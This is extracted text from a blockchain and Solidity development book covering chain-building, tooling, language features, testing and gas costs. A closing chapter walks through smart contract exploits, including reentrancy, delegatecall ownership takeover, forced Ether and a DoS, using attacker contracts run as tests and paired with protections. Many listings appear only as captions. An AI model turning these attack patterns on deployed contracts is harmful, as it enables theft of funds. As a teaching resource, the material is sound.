DLSequence seq = (DLSequence) asn1.readObject();
BigInteger r = ((ASN1Integer)seq.getObjectAt(0)).getPositiveValue();
BigInteger s = ((ASN1Integer)seq.getObjectAt(1)).getPositiveValue();
return signer.verifySignature(hash, r, s);
}
Listing 8.4 This method extracts the R and S points from the signature and
uses the public key for verification.
Listing 8.7 First, the block that will be released is determined. Based on the
coinbase in the block, the account whose balance is released is determined.
Listing 8.7 uses the unlockBalance method of the Account class
to release the balance. Implement this method as well by
simply introducing a lockedBalance attribute that you reduce
in the unlockBalance method. In addition, you need a method
to lock the balance, and in the addMinedBlock method, you
need to include the new functionality as well. In the end, the
method should look like Listing 8.8.
public void addMinedBlock(Block block) {
this.minedBlocks.add(block);
this.balance += Blockchain.BLOCK_REWARD;
this.lockedBalance += Blockchain.BLOCK_REWARD;
Listing 8.8 The updated method now increases not only the balance of an
account but also the locked balance, so that the block rewards of new blocks are
still locked for the time being.
Listing 8.9 The method for verifying the balance considers the blocked
balance.
Lastly, remember that when you initialize a new node and
its AccountStorage, the map for locked blocks is still empty.
So, either don’t call the unlock method for the first 100
blocks or let it do nothing if the map returns zero.
If you’ve made it this far, your blockchain is finally ready to
go. All the following sections only involve optimizations for
performance or memory, but you should implement these
so that your blockchain can still work effectively after a
longer period.
Listing 8.10 The two constructors of the MerkleTreeElement class. For leaf
elements, only the hash values must be passed, while the other nodes get
additional child nodes.
Listing 8.11 The contents of the for loop that creates the next level of the
Merkle tree.
Listing 8.12 The recursive method first searches for the leaf with the correct
ID. On the way back, all associated hash values are entered into the list.
Listing 8.13 The endpoint fetches the associated block for a transaction, and
the hash values of the Merkle tree are then determined and returned.
This optimization is not that difficult: you just must put the
public key into a hash calculation for it. However, the new
hash is then 32 bytes in size, and since the hash calculation
can’t be reversed, a few problems arise when verifying the
digital signatures. Verification absolutely requires the public
key, so it must be appended to the digital signature. This
adds 65 bytes to the signature, but you save 33 bytes per
address, which would end up saving one byte per
transaction.
To enable greater savings, Ethereum also discards the first
12 bytes of the public key’s hash value, resulting in
addresses with a length of 20 bytes. This results in savings
of 25 bytes per transaction. The last optimization would be
to completely remove the sender in a transaction since the
sender can be determined from the public key in the digital
signature. This would result in savings of 45 bytes per
transaction. For this optimization, you would now have to
revise all places in the blockchain that use the addresses of
an account. While at first, 45 bytes may not sound like huge
savings, you should consider that it reduces the memory
footprint of all caches, the account management, and the
required disk space. Since a transaction on your blockchain
currently has a maximum size of 314 bytes, this
optimization would provide memory savings of about 15%.
The block metadata size would also be reduced from 81
bytes to 36 bytes, resulting in a savings of about 45%.
The optimization may well be noticeable on a globally
available blockchain and should be considered if this is a
requirement for your personal blockchain.
8.6 Supporting Initial Balances in
the Genesis Block
For testing purposes, it can be useful to generate accounts
with a preexisting initial balance while starting the
blockchain. Otherwise, no account would have an initial
balance, and thus, you would have to wait until some initial
balance had been mined by your node. Since newly mined
balances are always locked for a certain number of blocks,
you would also have to wait until the mined balances were
unlocked and released for use. Ethereum therefore offers
the possibility of defining initial balances for accounts in the
genesis block.
Listing 8.14 This method reads a CSV file with accounts that should have
initial balances and adds them to the map.
Listing 8.15 The initialization section takes care of the initial balances that
are stored in the genesis block.
This ends the part of the book about creating your own
blockchain. In the next part, you’ll start learning the basics
of smart contracts, and in the rest of the book, you’ll learn
how to implement and use them.
9 Smart Contract
Development
Levi and Lipton also point out that in the real world, not all
clauses in written contracts are 100 percent legally
unambiguous. You accept a certain degree of ambiguity;
otherwise, it would simply be too expensive or time-
consuming to consider every eventuality. However, a smart
contract must be clearly defined, which can make the
mapping of some contract terms very complex.
The authors also take a critical view of the secure payment
after the occurrence of a certain condition through smart
contracts, which is often listed as an advantage in a
corporate context, as it’s common for companies to move
funds back and forth between them. It’s therefore
impractical for companies to leave money “frozen” at an
address for a long time.
Listing 9.1 Smart contract in Bitcoin Script with conditional statements and
time locks.
Figure 9.2 A contract template for a 2-of-3 multisig script in the Ivy
playground for Bitcoin sandbox.
Rootstock
Sidechains
Colored Coins
Contract-Oriented Object-Oriented
Programming Programming
Contracts Classes
Inheritance Inheritance
Constructors/destructors Constructors/destructors
(destructors will be
deprecated)
Since not only developers but also users interact with the
Ethereum blockchain or the deployed contracts, a uniform
style guide helps enormously with comprehensibility. A user
doesn’t necessarily have to understand every line of the
code; it may be enough for them to recognize the individual
sections of common standards.
A uniform style guide also offers advantages for developers.
Often, contracts are deployed as libraries, and these are
then publicly available. The code for the individual contracts
can be published via Etherscan (https://etherscan.io/). This
way, other developers can gain insights into the contracts
and decide whether they can use the libraries for
themselves. Thus, it would be good if the libraries followed a
style guide, so that styles don’t have to be learned for each
contract.
block.gasLimit
block.number
block.timestamp
Listing 9.3 The function generates a random number between 0 and 255
based on the block number and block timestamp.
9.5.2 Using Sequential Numbers
Another simple idea is to use sequential numbers: a hash is
calculated based on the number, and then the random
number is determined from it. Each time the number is
called, the sequential number is incremented, generating a
new number each time. An attacker could simply crawl the
blockchain to determine the latest sequential number, then
calculate the hash value and thus always know the next
random number. The procedure is therefore by no means
safe.
After this chapter, you’ll have all the tools you need to learn
Solidity. Subsequent chapters will deepen these basics more
and more until you are finally able to develop decentralized
applications (DApps).
From here, you can start creating your own files or your own
workspaces to load different projects. All files created in
Remix will be stored within your browser, so be careful when
deleting browser storage or you’ll lose your contracts. The
Remix IDE also supports compiling, running, testing, and
debugging your contracts. If you prefer a dark theme, you
can also change it in the Settings.
Figure 10.1 The Remix IDE opens the home screen the first time it’s loaded.
ChainIDE itself looks and feels a bit like VS Code but runs
completely within your browser, so it’s available on any
device. It provides common services like debugging, testing,
and deploying smart contracts. ChainIDE promises that no
extra tools need to be installed during development, and
therefore, developers can quickly and easily create their
prototypes.
At the top, you have two editors: one for the contract and
another for the deployment script. At the bottom, you can
see the log of Simulated Transactions as well as the
Console Output. You can change the Network, the Block
number, the Compiler version, and the Compiler
Optimizations level.
With this sandbox, you can quickly and easily write simple
contract functions and test them to verify their correctness.
However, since the sandbox is still in its beta phase, there
might be some bugs. Keep an eye on future updates and
we’ll see what possibilities Tenderly will offer in the future.
For our desktop IDE, we are mainly using VS Code with the
Solidity extension of Juan Blanco. VS Code provides an IDE
which can be highly customized to the developer’s needs
and is free to use. For our web-based IDE, we are using
Remix since it’s provided by the Ethereum foundation and is
the fastest at performing new compiler updates, etc.
Another advantage of the Remix IDE is that it allows user-
based testing. If you deploy a contract to the blockchain—
either in the JavaScript virtual machine or on a live network
—you can easily interact with the contract via the graphical
user interface Remix offers. Figure 10.3 shows an example
of this user interaction. You can load any contract via its
address on the connected blockchain, assuming you have
its source code. Afterward, you can trigger write functions
with the orange buttons and trigger read functions with the
blue buttons. You can also create low-level interactions and
trigger transactions if required. This allows to easily test a
contract manually or demonstrate functionalities during
presentations.
Figure 10.3 Interaction with deployed contracts via the Remix graphical user
interface.
Just familiarize yourself with the different possibilities and
choose the IDEs that you like the most or already have
experience with. However, besides all these IDEs, there are
different frameworks available that speed up or improve the
development process for smart contracts. We’ll cover these
frameworks in the upcoming sections to allow you to make a
choice yourself.
10.2 Contract-Oriented Frameworks
Over the last few years, three major contract-oriented
frameworks have been developed. All frameworks support
all steps of the development lifecycle of smart contracts:
design and development, testing and debugging, and
deployment and management. All frameworks are
independent from chosen IDEs, but not every web-based
IDE supports all frameworks. In general, it is recommended
to choose a desktop IDE if you want to use any of these
frameworks.
We’ll cover the advantages of all frameworks to help you
choose your preferred desktop IDE. However, in this book,
we’ll mainly use the Foundry framework.
Listing 10.2 You can enable the optimizer for the Solidity compiler in the
truffle-config.js file.
module.exports = function(deployer) {
deployer.then(async () => {
await deployer.deploy(MyValues);
await deployer.deploy(TodoLibrary);
await deployer.link(TodoLibrary, TodoList);
await deployer.deploy(TodoList, MyValues.address);
});
};
Listing 10.3 Example migration file to deploy two contracts and one library.
module.exports = function(deployer) {
deployer.then(async () => {
await deployer.link(TodoLibrary, UpdatedTodoList);
await deployer.deploy(UpdatedTodoList, MyValues.address);
const todoList = await TodoList.deployed();
});
};
Listing 10.4 The second migration file automates the update process.
Setting Up Hardhat
In contrast to the Truffle Suite, Hardhat is not installed
globally on your machine but is used locally within your
projects. This design was chosen to avoid version conflicts
and to provide reproducible environments. Therefore, you
should create a new directory for your project and initialize
an npm project by running the npm init command and
following its instructions. You can also use the npm init -y
command if you want to skip the instructions.
Directory or Explanation
File
Listing 10.5 You can enable the optimizer for the Solidity compiler in
hardhat.config.js.
Since you can also develop DApps with Hardhat, you can
simply install additional npm packages for the development
of your frontend. All dependencies can be found within the
package.json file as usual. The node-modules/ directory
includes all installed dependencies, and if you later install
Solidity libraries, they can also be found within this
directory.
Within the test/ directory, you’ll see a sample test file. Tests
are based on the Mocha and Chai unit test libraries and the
ethers.js contract-oriented library. You can execute your
tests via the npx hardhat test command, which will run all test
files available. If you pass a file path as an argument, you
can restrict the test runs to the passed file. Figure 10.5
shows the results of the tests run. If a test fails, you’ll see
which one failed as well as an error message.
Within the script/ directory, you’ll see sample script used for
the deployment of a contract. You can easily run those
scripts via the npx hardhat run <path_to_script> command. If
you don’t add a configuration for a production blockchain,
it’ll simply deploy the contract on a local Ethereum node for
testing purposes. However, you can also specify official test
networks (testnets), etc. as the deployment target.
Setting Up Foundry
Foundry can be installed and updated via the Foundryup
toolchain installer. Simply open the terminal and run the
curl -L https://foundry.paradigm.xyz | bash command. This will
install Foundryup, and afterward, you can follow the
instructions on-screen. If everything is successful, run the
foundryup command to install the following required tools:
Directory or Explanation
File
[profile.default]
solc_version = "0.8.26"
optimizer = true
optimizer_runs = 20_000
[profile.ci]
verbosity = 4
Listing 10.6 Enabling the optimizer for the Solidity compiler in Foundry.
You can also run Foundry via Docker if you prefer not to
install it locally on your machine. To do so, pull the latest
image via docker pull ghcr.io/foundry-rs/foundry:latest,
keeping in mind that you need to install Docker
beforehand. To read more about the use of the Docker
image, see the official tutorial at
https://book.getfoundry.sh/tutorials/foundry-docker.
The next line contains the version pragma, which allows you
to configure the compatibility of your contract with the
different compiler versions. The version pragma always
starts with the pragma keyword, followed by solidity and then
an expression that specifies the compatibility. The
compatibility expression follows the rules of specifying the
version of npm modules, but by default, the expression is
defined using ^0.8.0. The version number may vary, but in
this case, it specifies that at least version 0.8.0 is required.
The circumflex (^) additionally specifies that the contract
can’t be compiled with version 0.9.0 or higher. After the
version pragma, additional experimental pragmas can be
defined. They allow you to use different encoders, for
example. For now, let’s put them aside.
/*
This block comment spans
multiple lines.
*/
contract HelloWorld {
function sayHello() public pure returns(string memory) {
return "Hello World!";
}
}
Before you can deploy your contract, you must compile it. To
do this, select a suitable compiler version in the Compile
menu and activate Auto compile as shown in Figure 11.1.
Alternatively, you can compile manually by selecting the
contract from the dropdown menu at the bottom. The
compiler will show you optimizations, warnings, and errors,
if any. For demonstration purposes, you can delete the
memory keyword, which has led to an error since Solidity
version 0.5.0.
Figure 11.2 Configuring the runtime environment within the Remix IDE.
Figure 11.3 After the deployment of a contract, you can copy its address.
Figure 11.4 You can easily use functions via their buttons. Blue represents
read access; orange represents write access.
Below the editor, you can see the transaction log. When you
expand a completed transaction, there you’ll see the receipt
of the transaction with all the details: the fees consumed,
the input and output parameters, and much more.
11.2 Elements and Data Locations
of a Contract
A contract in Solidity can have state variables, constructors,
functions, events, structs, and modifiers. All elements can
use or access the different data locations of the Ethereum
Virtual Machine (EVM) and can be constrained by modifiers.
All elements except events can have visibility modifiers.
contract C {
int[] data1;
Private Visibility
Listing 11.4 Example of a custom modifier. This ensures that the caller of the
function must be the owner of the contract.
You can use the custom modifiers for all your functions and
for the constructor. However, according to the Solidity style
guide, you should always declare them after Solidity’s built-
in modifiers (https://docs.soliditylang.org/en/latest/style-
guide.html). Your modifier is also allowed to have its own
parameters, and you can pass the function parameters of
the selected function directly to the modifier as shown in
Listing 11.5.
contract MyContract {
modifier constructorModifier {
_;
}
modifier myModifier(uint x) {
_;
}
constructor() constructorModifier {
//...
}
constructor() {
storedData = 5;
}
}
Listing 11.6 Declaring state variables should always be done at the top of a
contract. You can initialize inline, in the constructor, or in functions.
Old Constructors
Deprecating Selfdestruct
In Solidity, you can define more than one return type: a list
of return types is specified at the end of the function
signature, like the function parameters. This can either be
just a list of types or include variable names. If the variable
name is also specified, the return keyword doesn’t have to
be used within the function. It’s sufficient to assign a value
to the defined variable.
Figure 11.5 shows the resulting log of this event. The log
always contains the address of the contract that emitted the
event, and the Transfer name is also included within the
logs. However, data types are only shown to be user-
friendly; they are not included within the logs.
Figure 11.5 The log of the transfer event defined in Listing 11.9.
Figure 11.6 The log of a transfer event with an indexed amount parameter.
Figure 11.7 The log of an anonymous event. The name was included
manually by the authors for improved readability.
Figure 11.8 The log of an anonymous event with indexed parameter amount.
The name was included manually by the authors for improved readability.
To use a Boolean, you need the bool keyword. You can use
Booleans as function parameters and return values.
Initialization is done using the true and false literals.
Since version 0.5.0, the address type has been split into two
types: address and address payable. Each address has the
balance attribute, which can be used to query how much
Ether the address has available. A payable address also has
functions for transferring Ether, and the transfer and send
functions can be used to send Ether to the address. The
amount of Ether must be specified in Wei (the smallest
unit). If the address used belongs to a contract, the
contract’s receive function will be executed (Section 11.4.5).
If the execution fails, the transfer is rolled back, and the
calling contract terminates with an exception. Listing 11.11
is an example of the use of address variables. If you cast
this to an address, you can query the balance of a contract.
address payable x = 0xdCad3a6d3569DF655070DEd06cb7A1b2Ccd1D3AF;
if (x.balance < 10 && address(this).balance >= 10) {
x.transfer(10);
}
Listing 11.13 shows four different variants: the first two are
the inline notations. With inline notation, only fixed-size
arrays can be created. You initialize the fixed-size arrays
with all their values in brackets, and Solidity then checks for
the least common data type that can map all values and
creates a matching array. In the first line of Listing 11.13,
since the numbers 1, 2, and 3 can all be represented by one
byte, Solidity automatically generates a uint8[] array. In the
second line, you can see how to enforce a different data
type, and you must explicitly cast the first element to the
desired data type. In the second line, the cast is done via
uint(1). As in other programming languages, you can cast to
different data types with the name of the data type followed
by the value or variable in parentheses. Since the first
element can then no longer be represented in a byte,
Solidity automatically converts all other values.
Let’s use some of the arrays. The syntax for using arrays in
Solidity is the same as in many other programming
languages: you specify the desired index in brackets after
the variable name, as in Listing 11.15. The indices start at 0
as usual, and Solidity also provides a length attribute that
returns the length of the array. In the case of dynamic
arrays in storage, you could override the length attribute to
change the size manually. It’s mandatory to resize the
length if your code goes beyond the previously defined
length, and the push function performs this resizing
automatically. Since version 0.6.0, the field length has been
read-only and can no longer be overridden manually.
Therefore, you must use the push function to increase a
dynamic array.
uint[] private myArray;
function usingStorageArrays() public {
myArray = new uint[](2);
myArray[0] = 1;
myArray[1] = 2;
myArray.length++; //no longer possible since 0.6.0
myArray[2] = 3;
myArray.push(4);
}
storageTestVoter = Voter(4,true,msg.sender,10);
function calculate(
function (uint, uint) internal pure returns(uint) f,
uint x,
uint y
)
internal
pure
returns(uint)
{
return f(x, y);
}
}
Listing 11.22 The contract defines several internal functions that perform
different calculations. The calculate function expects a function and other
parameters to calculate the result.
11.4 Additional Features of Solidity
Now that you’ve become familiar with the individual
elements of a contract and the data types of Solidity, we’ll
explain a few more language details. You can use some of
these features directly during your implementation; others
are just helpful to keep in mind.
In the past, the var data type could be used if a type were
unknown. Since version 0.5.0, the var type can no longer be
used, which is why the code in Listing 11.24 no longer
works. However, you may still encounter the type in legacy
contracts. Since version 0.8.0, over- and underflows revert
the transaction, so the infinite loop would fail. Even in
legacy contracts, the infinite loop will revert as soon as the
gas limit of the transaction is reached.
uint24 x = 0x123;
var y = x;
for(var i = 0; i < 2048; i++) {
y += i;
}
fallback() external {
emit FallbackCalled(true);
}
}
contract TestFallback {
function triggerFallback(
address target
) public returns(bool, bytes memory) {
return target.call("doSomething");
}
}
revert
Function calls can be reset using the revert keyword,
which uses the same opcode internally as require and
refunds any remaining gas. However, you should use
revert for all errors that affect the business logic. For
example, if a user sends an election vote although no
election is currently active, you should use revert. You can
provide custom errors via revert CustomError() or error
messages via revert ("description").
Error messages provided to both require and revert will be
converted into bytes and entered in the transaction as the
result of the function.
Low-Level Functions
The low-level functions don’t check whether an account
exists. If an account doesn’t exist, no exception is thrown
and true is returned. You must therefore check yourself
whether the account exists before using these functions
(see Chapter 12, Section 12.1).
11.5 Creating Inheritance
Hierarchies of Smart Contracts
Solidity supports multiple inheritance of smart contracts,
including polymorphism. By default, the lowest function in
the inheritance hierarchy is always executed, unless the
name of the desired contract is specified before the function
call. In addition, a contract can call the functions of its base
contracts with the super keyword. Inheritance is defined via
the is keyword.
Listing 11.30 The Professor contract inherits the Person contract and uses
an inline notation to call the constructor of Person.
Listing 11.31 The person contract declared abstract with a virtual sayHello
function.
Internal Constructors
contract Base {
function doSomething(uint x) external pure virtual returns(uint) {
return x;
}
}
contract A is Base{
function doSomething(uint x) public pure override returns(uint) {
return x + 5;
}
}
contract B is Base {
function doSomething(uint x) public pure override returns(uint) {
return x + 10;
}
}
Listing 11.33 The contract only knows the Base contract, but thanks to
polymorphism, the correct implementations of the doSomething function are
used during execution.
library StringUtils{
function equals(string calldata str1, string calldata str2)
internal
pure
returns(bool)
{
return keccak256(abi.encodePacked(str1)) == ↩
keccak256(abi.encodePacked(str2));
}
Listing 11.35 Your first library supports three different utility functions for
string variables.
contract DoSomething {
function compare(string memory x, string memory y) public pure returns(bool) {
return StringUtils.equals(x, y);
}
}
Listing 11.36 The StringUtils library is imported via the import keyword and
is used afterwards.
contract DoSomething {
IStringUtils test = ↩
IStringUtils(0x0D27Dc954D54799685Ef6FF9420fd6D732Ed4a2D);
function compare(string memory x, string memory y) public pure returns(bool)
{
return test.equals(x,y);
}
}
contract DoSomething {
using StringUtils for string;
Listing 11.38 The using keyword can be used to extend data types.
With the basics of this chapter, you are now well prepared
for the implementation of smart contracts. In the next
chapter, we’ll introduce some complex topics like low-level
functions and Assembly. You’ll also learn all about the
bytecode representation of a smart contract. In the later
chapters, you’ll then test your contracts and secure them
against attacks before they are deployed on the blockchain.
12 Digging Deeper into
Solidity
transfer call
send staticcall
delegatecall
callcode(legacy; prior to
version 0.5.0)
Let’s break down the different use cases for these low-level
functions:
call
The low-level call function is used internally whenever
write access of a contract is called.
staticcall
If a function is defined with the view or pure modifiers,
staticcall is used internally.
delegatecall
If there is a library deployed at the specified address, a
delegatecall is triggered internally.
There is an additional compiler warning when using a
delegatecall, which allows another contract to manipulate
the storage of the calling contract on its behalf. Therefore,
the called contract can manipulate the storage as it would
manipulate its own. If you don’t know about the
implementation of a given contract, you shouldn’t use
delegatecall or your contract’s storage can be manipulated
maliciously, resulting in undefined state. Prior to version
0.5.0, the low-level callcode function had similar but slightly
different semantics than delegatecall. However, callcode is
now deprecated and no longer available.
Listing 12.3 This example from the documentation loads the source code of
the contract from address _addr into byte representation.
Listing 12.4 The function returns the number 5 when called. In the case of a
return statement, the pointer and the number of bytes must always be specified.
assembly {
variable := tload(0)
}
Listing 12.5 Example usage of the TSTORE and TLOAD opcodes in Inline
Assembly.
Listing 12.9 The same for loop as in Listing 12.8, implemented in Inline
Assembly using the functional style.
Listing 12.10 The same for loop as in Listing 12.8 with labels and jumps in
Inline Assembly (deprecated).
loop:
// i := add(i, 1)
dup2
1
add
swap2
pop
// result := add(result, 1)
dup3
1
add
swap3
pop
// lt(i, 10)
dup1
dup3
lt
pop
pop
}
}
Listing 12.11 The code from Listing 12.10, this time in instructional style.
Yul and Inline Assembly don’t have any data types other
than u256, and all available functions are the same as the
EVM’s opcodes. Yul supports literals, calls to built-in
functions, variable declarations, assignments, if
statements, switch statements, for loops, and function
definitions. You can define variables by using the let
keyword followed by :=, and Yul defines a Yul object notation
that can be used to deploy contracts. We’ll explain how to
use standalone Yul in Chapter 22, Section 22.1.
12.3 Internal Layouts of Data
Locations
To fully understand some smart contracts written in Yul or
extended with Inline Assembly, knowledge of the internal
layout of data locations is crucial. Knowledge of the internal
layouts can also be used to optimize gas costs, so we’ll
summarize the different internal layouts. In Chapter 14,
we’ll explain some gas optimizations based on the internal
layouts, so feel free to come back to this section any time.
If you know the source code of the called function, you can
decode the calldata to see the padded multiples of 32 bytes,
as shown in Figure 12.2. The calldata—if not zero (0x0)—will
always start with the function selector, followed by the
function arguments. In the case of a constructor, the
arguments are directly appended at the end of the
contract’s code, instead of the input data. However, the
arguments are also encoded according to the ABI
specification.
contract address
enum uint8
Listing 12.13 The start of the init bytecode of smart contracts translated to
opcodes.
Listing 12.14 The typical end of the init bytecode of smart contracts.
The init bytecode typically ends with the INVALID opcode.
This is to ensure that the metadata that follows the init
bytecode is not executed. After the init bytecode, the
runtime bytecode starts, and it represents the actual
contract without its constructor.
Listing 13.1 A simple key-value store for uint256, string, and bool values.
Listing 13.2 The initialization of the key-value store is done once before all
unit tests.
Assert.ok() bool
Table 13.1 The functions of Remix’s Assert library and the supported data
types.
In each test case, you must store a value first with the
corresponding put operation, like the example shown in
Listing 13.3. Afterward, you can retrieve the value via its
getter and assert whether everything was stored correctly.
When asserting the uint256 value and the string value, you
can use the Assert.equal function, whereas for the bool value,
you can also use Assert.ok.
function checkPutUint() public {
keyValueStore.putUint(0, 10);
uint256 x = keyValueStore.getUint(0);
Assert.equal(x, 10, "wrong uint");
}
Listing 13.3 The test cases for the three put functions for storing values in
the key-value store.
Figure 13.1 Running a Solidity-based unit test in Remix and retrieving the
test results.
Listing 13.4 The test file requires expect from the Chai assertion library and
ethers.js from Hardhat.
Listing 13.5 A unit test written in JavaScript using Mocha, Chai, and ethers.
Figure 13.2 The output of the JavaScript-based unit tests can be found on
the console.
Now, you can easily update your test cases. Listing 13.7
shows one of the unit tests written in Foundry. As you can
see, the test contract inherits the provided Test contract,
and the setUp function simply initializes a new KeyValueStore
that is the contract under test in our unit test. The example
test_PutUint test case stores the key-value pair 0, 10 and
asserts afterward whether the correct value was stored.
contract KeyValueStoreTest is Test {
KeyValueStore private keyValueStore;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() {
owner = msg.sender;
}
}
describe("KeyValueStorage", function() {
it("Should store uint256 values correctly", async function () {
const keyValueStore = await ethers.deployContract("KeyValueStore");
await keyValueStore.putUint(0, 10);
expect(await keyValueStore.getUint(0)).to.equal(10);
});
});
Listing 13.12 A test case for the key-value store written with Hardhat.
Listing 13.13 A test case in Hardhat which tests if the modifier onlyOwner
works.
In case you want to test events, you can do so via the expect
and emit functions. The test case will then ensure that your
contract emits the specified events, and you can even verify
the arguments emitted with the event. Listing 13.14 shows
the syntax of the expect function to check for events. In this
case, we used the same Transfer event as used previously in
Listing 13.11.
await expect(token.transfer(walletTo.address, 7))
.to.emit(token, "Transfer")
.withArgs(wallet.address, walletTo.address, 7);
With the help of the debugger, you can see how each
opcode changes the memory and where the error occurs.
For a quick fast-forward, you can use the horizontal scroll
axis to scroll to where you’d like. Remix always marks the
appropriate location of the source code in the editor. Use
the Stop debugging button at the top to stop debugging
at any time.
You can invoke the debugger via forge debug or forge test. If
you’ve implemented a test case already, you can pass the
name of the testcase as an argument: forge test --debug
"test_PutUint()". If two or more test cases share the same
name, you must specify the contract via --match-path or --
match-contract.
If you don’t have any test case written for a function you
want to debug, you can use forge debug. You must specify the
file, the function selector, and the parameters you want to
pass during debugging:
forge debug --debug src/KeyValueStore.sol --sig "putUint(uint256,uint256)" 0 10
Now that you’re able to write tests for your contracts, you
can easily start implementing use cases and test them. In
the following chapters, we often use Foundry projects to
demonstrate some features. For example, the available
exploits will be implemented and executed with unit tests.
Therefore, you’ll deepen your knowledge about smart
contracts and Solidity in the following chapters.
14 Understanding and
Optimizing Gas Costs
Figure 14.1 The Remix debugger helps to analyze the gas costs of opcodes.
If a transaction runs out of gas, any changes that occurred
while the transaction was being processed will be reverted.
However, the transaction is still included in the block, and
the used gas is paid as a fee. The transaction has a failed
status, but this only means that the execution of the called
function has failed. The same applies to subcalls within
contracts. To ensure that subcalls don’t consume all the
available gas in the transaction, each contract can define a
gas limit for each subcall. For example, if you want to call
the doSomething function of a contract X with a gas limit of
10,000, implement it as follows: X.doSomething{gas:10000}().
The parentheses can contain the function parameters of the
called function. If the subcall consumes more gas than
allowed, then all changes to the subcall are reverted, but
the gas is still consumed. However, the calling transaction
can continue its execution. If no gas limit is specified, the
63/64 rule is applied. This rule forwards only 63 out of 64 of
the provided gas to the called function, so the calling
transaction can always finish its execution even if the
subcall runs out of gas.
Figure 14.2 The log in Remix shows the gas limit and the total gas costs.
14.2 Understanding the Compiler
Optimizer
Now that you have a basic understanding of gas costs, it’s
important to distinguish types of contract-based costs:
execution costs and deployment costs. Since the
deployment of a new contract is also part of a transaction,
it’s also invoking gas costs that we call deployment costs.
Since the input data of a transaction is converted into gas
costs based on the number of zero and nonzero bytes, a
longer bytecode results in higher transactions fees.
Execution costs are the gas costs that occur during the
execution of individual functions. Thus, you can either aim
at reducing the execution costs or the deployment costs. As
a rule of thumb, always consider that deployment costs will
only be paid once during deployment, whereas execution
costs will be paid every time anyone interacts with your
smart contract.
Listing 14.2 The bytecode of the minimal contract. Bold hex numbers
represent the init bytecode.
Listing 14.3 The init bytecode translated into opcodes and their
corresponding gas costs.
Listing 14.4 Reordering the if statements in the for loops eliminates the
variable j.
Listing 14.5 Packing arrays with the same length requirements into a
struct.
Vanity Addresses
Listing 14.9 The output of the forge inspect command to retrieve the
storage layout.
Let’s look at the function selector. Since the EVM can’t pass
compressed input parameters to functions, you won’t need
the function selector anymore. Thus, you can compress the
function selector to a single byte containing only a short
identifier of the function you want to call. The first byte of
your input should thus be the number of the desired
function. We’ve just eliminated three bytes of input data,
which saves some gas. Listing 14.10 shows the
implementation of a fallback function that maps the first
byte to the desired function call.
fallback() external payable {
uint _func = getUint8(0);
if(_func == 0) {
function0(getAddress(1), getUint256(21));
} else if(_func == 1) {
function1(getUint256(1));
} [...]
}
Listing 14.10 The fallback function that decompresses and routes the
compressed input data.
Since Huff doesn’t hide any parts of the EVM, it’s used to
learn about the EVM itself. The manual manipulation of
the EVM stacks helps you to understand how the EVM
works, so feel free to check out Huff if you’re interested in
the internals of the EVM.
Figure 14.5 The Tenderly gas profiler allows you to analyze gas consumption.
Description
Listing 15.1 This contract uses its own balance as a gatekeeper to the
verifySuccess function.
Attack
Now, it’s your turn: use the knowledge you’ve learned and
smuggle Ether into the contract from Listing 15.1. You can
exploit the vulnerability by implementing unit tests via
Foundry or, if preferred, you can simply use the Remix IDE.
Let’s write a test contract and a contract that executes the
attack.
contract Smuggler {
constructor() payable {
}
Listing 15.2 The contract must be deployed with Ether and destroyed
afterwards.
Listing 15.3 The attacker creates and destroys a contract to transfer the
Ether.
attacker.attack{value: 1 ether}(payable(address(target)));
bool success = target.verifySuccess();
assertTrue(success);
}
}
Listing 15.4 The test contract prepares and executes the attack.
Exploit Protection
Description
constructor(uint _initialSupply) {
totalSupply = _initialSupply;
balances[msg.sender] = _initialSupply;
}
Attack
Listing 15.7 The test case executes the attack and checks whether it was
successful.
Protective Measures
Description
Look at the contract shown in Listing 15.8. You should notice
that the contract uses the low-level delegatecall function
within its fallback function. The fallback function is always
called when the provided function selector is not available in
the contract, so any function call that can’t be processed by
the Delegation contract itself is forwarded directly to the
Utility contract.
contract Delegation {
address public owner;
Utility private utility;
constructor(address _utilityAddress) {
utility = Utility(_utilityAddress);
owner = msg.sender;
}
fallback() external {
(bool success,) = address(utility).delegatecall(msg.data);
require(success, "should work");
}
}
Listing 15.8 The contract uses a delegatecall in its fallback function and thus
forwards all function calls to unknown function selectors directly to the Utility
contract.
constructor() {
owner = msg.sender;
}
Listing 15.9 The Utility contract has useful functions, including a function to
update the owner.
Attack
Listing 15.10 The contract loads the Utility contract at the address of the
Delegation contract and then calls the updateOwner function.
assertEq(newOwner, address(attacker));
assertNotEq(newOwner, originalOwner);
}
}
Listing 15.11 The test case executes the attack and then checks whether
the new owner of the Delegation contract is the attacker’s address.
Protective Measures
Always be careful when using the low-level delegatecall
function to protect against this attack. You should never
trust other contracts without verification, and above all, you
should never simply forward all incoming calls via
delegatecall, as in this example. Make sure that only
functions you intend are called via delegatecall.
Listing 15.12 The contract manages the participants’ balances, and the
withdrawAll function allows participants to withdraw their funds.
Attack
Now, it’s time for you to execute the attack: try to donate
some Ether, extract more Ether than you are entitled to, and
write a test case with Foundry that simulates the attack.
Listing 15.13 shows the attacker’s implementation. First, it
donates the provided Ether to the Reentrancy contract, and
then, it calls the withdrawal function. Since the Reentrancy
contract then sends Ether to the attacking contract, the
receive function is triggered, which calls withdrawAll again.
This creates a recursive loop, and the attacker can withdraw
Ether until the donated funds of all users are depleted or the
transaction runs out of gas.
contract ReentrancyAttacker {
Reentrancy private reentrancy;
Listing 15.13 The attacker withdraws their funds and enters a withdraw loop
in the receive function.
reentrancy.donate{value: 9 ether}(address(this));
}
Listing 15.14 The test contract executes the attack and verifies that the
attacker received all available Ether.
Protective Measures
Due to this kind of attack, it was recommended to only use
the transfer or send function to transfer Ether, instead of the
low-level call function. The transfer and send functions only
provide 2,300 units of gas by default, which makes it
impossible for attackers to create recursive loops. However,
due to the changed gas costs during the Istanbul hard fork,
some contracts broke when relying on transfer and send,
which is why the low-level call function is used more often
nowadays.
Description
constructor() payable {
currentKing = payable(msg.sender);
currentBid = msg.value;
}
Listing 15.15 King of the Ether’s contract was victim of a DoS attack due to
a vulnerability.
Attack
The game’s contract checked via require that the transfer of
Ether to the previous king via the low-level send function was
successful. Only if the transfer was successful was the new
king crowned. Otherwise, the transaction was reset, and the
previous king remained king.
Listing 15.16 The attacker becomes the new king, and after that, if someone
tries to dethrone the attacker, it will fail because the receive function throws an
exception.
The test case in Listing 15.17 initializes the King of the Ether
game and provides the attacking contract with enough
funds to take the throne. Once the attacker has become
king, they can no longer be dethroned.
